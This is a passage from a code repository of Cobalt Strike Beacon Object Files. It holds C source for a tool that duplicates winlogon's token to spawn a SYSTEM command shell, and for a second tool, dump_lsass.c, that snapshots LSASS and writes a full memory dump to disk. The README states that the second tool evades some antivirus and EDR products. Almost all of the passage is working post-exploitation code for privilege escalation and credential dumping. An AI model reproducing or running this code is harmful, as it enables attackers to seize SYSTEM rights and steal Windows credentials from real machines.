= KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 58 | 59 | int pid = -1; 60 | if (KERNEL32$Process32First(snapshot, &entry) == TRUE) { 61 | while (KERNEL32$Process32Next(snapshot, &entry) == TRUE) { 62 | if (mycmpi(entry.szExeFile, "winlogon.exe")) { 63 | pid = entry.th32ProcessID; 64 | break; 65 | } 66 | } 67 | } 68 | KERNEL32$CloseHandle(snapshot); 69 | 70 | return pid; 71 | } 72 | 73 | 74 | 75 | void go(char* argc, int len) { 76 | 77 | // Check if Elevated 78 | if (!BeaconIsAdmin()) { 79 | 80 | BeaconPrintf(CALLBACK_ERROR, "Sorry, You are not Admin !\n"); 81 | return; 82 | } 83 | 84 | 85 | // Enable debug privileges 86 | EnableSeDebug(); 87 | 88 | DWORD LastError; 89 | HANDLE pToken; 90 | 91 | 92 | int pid = GetProcId(); 93 | 94 | if (pid < 0) { 95 | BeaconPrintf(CALLBACK_ERROR, "Could not find winlogon pid : 0x%lx\n", KERNEL32$GetLastError()); 96 | 97 | } 98 | 99 | // Open up a handle to WinLogon 100 | HANDLE processHandle = KERNEL32$OpenProcess( 101 | PROCESS_ALL_ACCESS, 102 | FALSE, 103 | (int)pid 104 | ); 105 | 106 | if (processHandle == INVALID_HANDLE_VALUE) 107 | { 108 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to open a handle to the process. Error: 0x%lx\n", KERNEL32$GetLastError()); 109 | } 110 | else { 111 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Opened a Handle to WinLogon \n"); 112 | } 113 | 114 | 115 | // get accesstoken of the system process 116 | BOOL token = ADVAPI32$OpenProcessToken(processHandle, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &pToken); 117 | 118 | if (!token) { 119 | BeaconPrintf(CALLBACK_ERROR, "[*] Obtaining AccessToken Failed 0x%lx\n", KERNEL32$GetLastError()); 120 | } 121 | 122 | // Create a duplicate token to use for impersonation 123 | SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation; 124 | TOKEN_TYPE tokenType = TokenPrimary; 125 | HANDLE dupToken; 126 | 127 | 128 | BOOL dToken = ADVAPI32$DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &dupToken); 129 | 130 | if (!dToken) { 131 | BeaconPrintf(CALLBACK_ERROR, "[*] Token Duplication Failed 0x%lx\n", KERNEL32$GetLastError()); 132 | } 133 | else { 134 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonation WinLogon for SYSTEM !\n"); 135 | } 136 | 137 | // spawn cmd with duplicated system token 138 | STARTUPINFO si = {0}; 139 | PROCESS_INFORMATION pi = {0}; 140 | 141 | 142 | BOOL ret = ADVAPI32$CreateProcessWithTokenW(dupToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 143 | 144 | if (!ret) { 145 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Createprocess Failed 0x%lx\n", KERNEL32$GetLastError()); 146 | } 147 | 148 | 149 | // cleanup 150 | KERNEL32$CloseHandle(dupToken); 151 | KERNEL32$CloseHandle(pToken); 152 | KERNEL32$CloseHandle(processHandle); 153 | 154 | } 155 | -------------------------------------------------------------------------------- /lsass/README.md: -------------------------------------------------------------------------------- 1 | Beacon Object File to dump Lsass memory by obtaining a snapshot handle. Does MiniDumpWriteDump/NtReadVirtualMemory on SnapShot of LSASS instad of original LSASS itself hence evades some AV/EDR. 2 | 3 | ![](bof.PNG) 4 | -------------------------------------------------------------------------------- /lsass/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | 12 | void mycopy(char* dst, const char* src, int size) { 13 | int x; 14 | for (x = 0; x < size; x++) { 15 | *dst = *src; 16 | dst++; 17 | src++; 18 | } 19 | } 20 | 21 | char mylc(char a) { 22 | if (a >= 'A' && a <= 'Z') { 23 | return a + 32; 24 | } 25 | else { 26 | return a; 27 | } 28 | } 29 | 30 | BOOL mycmpi(char* a, char* b) { 31 | while (*a != 0 && *b != 0) { 32 | if (mylc(*a) != mylc(*b)) 33 | return FALSE; 34 | a++; 35 | b++; 36 | } 37 | 38 | return TRUE; 39 | } 40 | 41 | typedef struct { 42 | char * original; /* the original buffer [so we can free it] */ 43 | char * buffer; /* current pointer into our buffer */ 44 | int length; /* remaining length of data */ 45 | int size; /* total size of this buffer */ 46 | } datap; 47 | 48 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 49 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 50 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 51 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 52 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 53 | 54 | /* format API */ 55 | typedef struct { 56 | char * original; /* the original buffer [so we can free it] */ 57 | char * buffer; /* current pointer into our buffer */ 58 | int length; /* remaining length of data */ 59 | int size; /* total size of this buffer */ 60 | } formatp; 61 | 62 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 63 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 64 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 65 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 66 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 67 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 68 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 69 | 70 | /* Output Functions */ 71 | #define CALLBACK_OUTPUT 0x0 72 | #define CALLBACK_OUTPUT_OEM 0x1e 73 | #define CALLBACK_ERROR 0x0d 74 | #define CALLBACK_OUTPUT_UTF8 0x20 75 | 76 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 77 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 78 | 79 | /* Token Functions */ 80 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 81 | DECLSPEC_IMPORT void BeaconRevertToken(); 82 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 83 | 84 | /* Spawn+Inject Functions */ 85 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 86 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 87 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 88 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 89 | 90 | /* Utility Functions */ 91 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 92 | -------------------------------------------------------------------------------- /lsass/bof.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/CS-BOFs/8ab8a40c09438765f77e62f363615c2f83c6803d/lsass/bof.PNG -------------------------------------------------------------------------------- /lsass/dump_lsass.c: -------------------------------------------------------------------------------- 1 | // Cobalt Strike Beacon Object File (BOF) to dump LSASS process memory using a snapshot handle. 2 | // Advantages : Avoids NtReadVirtualMemory on main LSASS handle by reading from SnapShot 3 | // Author: Sudheer Varma (@0xpwnisher) 4 | 5 | #include 6 | #include "beacon.h" 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | BOOL CALLBACK MDWDCallbackRoutine(PVOID CallbackParam, PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) { 13 | switch (CallbackInput->CallbackType) { 14 | case 16: // IsProcessSnapshotCallback 15 | CallbackOutput->Status = S_FALSE; 16 | break; 17 | } 18 | return TRUE; 19 | } 20 | 21 | 22 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); 23 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 24 | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID); 25 | WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR); 26 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32Next(HANDLE, void*); 27 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32First(HANDLE, void*); 28 | WINBASEAPI STDAPI_(DWORD) WINAPI KERNEL32$PssFreeSnapshot(HANDLE, HPSS); 29 | WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); 30 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); 31 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); 32 | WINADVAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE); 33 | WINADVAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR, LPCWSTR, PLUID); 34 | WINBASEAPI STDAPI_(DWORD) WINAPI KERNEL32$PssCaptureSnapshot(HANDLE, PSS_CAPTURE_FLAGS, DWORD, HPSS); 35 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 36 | WINADVAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD); 37 | WINBASEAPI BOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION); 38 | 39 | 40 | BOOL EnableSeDebug(void) { 41 | 42 | HANDLE hToken = NULL; 43 | TOKEN_PRIVILEGES TokenPrivileges = { 0 }; 44 | 45 | if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { 46 | return FALSE; 47 | } 48 | TokenPrivileges.PrivilegeCount = 1; 49 | TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; 50 | 51 | LPWSTR lpwPriv = L"SeDebugPrivilege"; 52 | 53 | if (!ADVAPI32$LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)){ 54 | KERNEL32$CloseHandle(hToken); 55 | return FALSE; 56 | } 57 | 58 | if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { 59 | KERNEL32$CloseHandle(hToken); 60 | return FALSE; 61 | } 62 | 63 | KERNEL32$CloseHandle(hToken); 64 | 65 | return TRUE; 66 | } 67 | 68 | 69 | int GetProcId(void) { 70 | 71 | PROCESSENTRY32 entry; 72 | entry.dwSize = sizeof(PROCESSENTRY32); 73 | 74 | HANDLE snapshot = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 75 | 76 | int pid = -1; 77 | if (KERNEL32$Process32First(snapshot, &entry) == TRUE) { 78 | while (KERNEL32$Process32Next(snapshot, &entry) == TRUE) { 79 | if (mycmpi(entry.szExeFile, "lsass.exe")) { 80 | pid = entry.th32ProcessID; 81 | break; 82 | } 83 | } 84 | } 85 | KERNEL32$CloseHandle(snapshot); 86 | 87 | return pid; 88 | } 89 | 90 | void go(char* argc, int len) { 91 | 92 | // Check if Beacon is running in High IL 93 | if (!BeaconIsAdmin()) { 94 | 95 | BeaconPrintf(CALLBACK_ERROR, "Sorry, You are not Admin !\n"); 96 | return; 97 | } 98 | 99 | // Enable Debug privs 100 | EnableSeDebug(); 101 | 102 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Enable SeDebugPrivilege \n"); 103 | 104 | DWORD PSSFlags = (PSS_CAPTURE_FLAGS)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION; 105 | 106 | 107 | int pid = GetProcId(); 108 | 109 | 110 | if (pid < 0) { 111 | BeaconPrintf(CALLBACK_ERROR, "Could not find lsass pid : 0x%lx\n", KERNEL32$GetLastError()); 112 | 113 | } 114 | 115 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Lsass PID is: %d\n", pid); 116 | 117 | // Open up a handle to LSASS 118 | HANDLE processHandle = KERNEL32$OpenProcess( 119 | PROCESS_ALL_ACCESS, 120 | FALSE, 121 | (int)pid 122 | ); 123 | 124 | // Error handling 125 | if (processHandle == INVALID_HANDLE_VALUE) 126 | { 127 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to open a handle to the process. Error: 0x%lx\n", KERNEL32$GetLastError()); 128 | } 129 | else { 130 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Opened a Handle to LSASS \n"); 131 | } 132 | 133 | // Create Dump File 134 | HANDLE outFile = KERNEL32$CreateFileW(L"proc.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 135 | 136 | if (outFile == INVALID_HANDLE_VALUE) { 137 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to createfile. Error: 0x%lx\n", KERNEL32$GetLastError()); 138 | } 139 | 140 | 141 | HANDLE snapshotHandle = NULL; 142 | MINIDUMP_CALLBACK_INFORMATION CallbackInfo = { 0 }; 143 | CallbackInfo.CallbackRoutine = MDWDCallbackRoutine; 144 | CallbackInfo.CallbackParam = NULL; 145 | 146 | 147 | // Get SnapShot Handle for LSASS 148 | 149 | KERNEL32$PssCaptureSnapshot(processHandle, (PSS_CAPTURE_FLAGS)PSSFlags, CONTEXT_ALL, (HPSS*)&snapshotHandle); 150 | 151 | if (snapshotHandle == INVALID_HANDLE_VALUE) { 152 | 153 | BeaconPrintf(CALLBACK_ERROR, "Failed to Obtain SnapShot of LSASS : 0x%lx\n\n", KERNEL32$GetLastError()); 154 | } 155 | else { 156 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Obtained SnapShot Handle of LSASS \n"); 157 | } 158 | 159 | 160 | // MiniDump on SnapShot Handle 161 | BOOL Dumped = DBGHELP$MiniDumpWriteDump(snapshotHandle, pid, outFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo); 162 | 163 | if (Dumped) { 164 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Memory Dump File Created \n"); 165 | } 166 | else { 167 | BeaconPrintf(CALLBACK_ERROR, "Error Dumping LSASS Memory: 0x%lx\n", KERNEL32$GetLastError()); 168 | } 169 | 170 | 171 | // Close Handles 172 | KERNEL32$PssFreeSnapshot(KERNEL32$GetCurrentProcess(), (HPSS)snapshotHandle); 173 | KERNEL32$CloseHandle(outFile); 174 | KERNEL32$CloseHandle(processHandle); 175 | 176 | } 177 | --------------------------------------------------------------------------------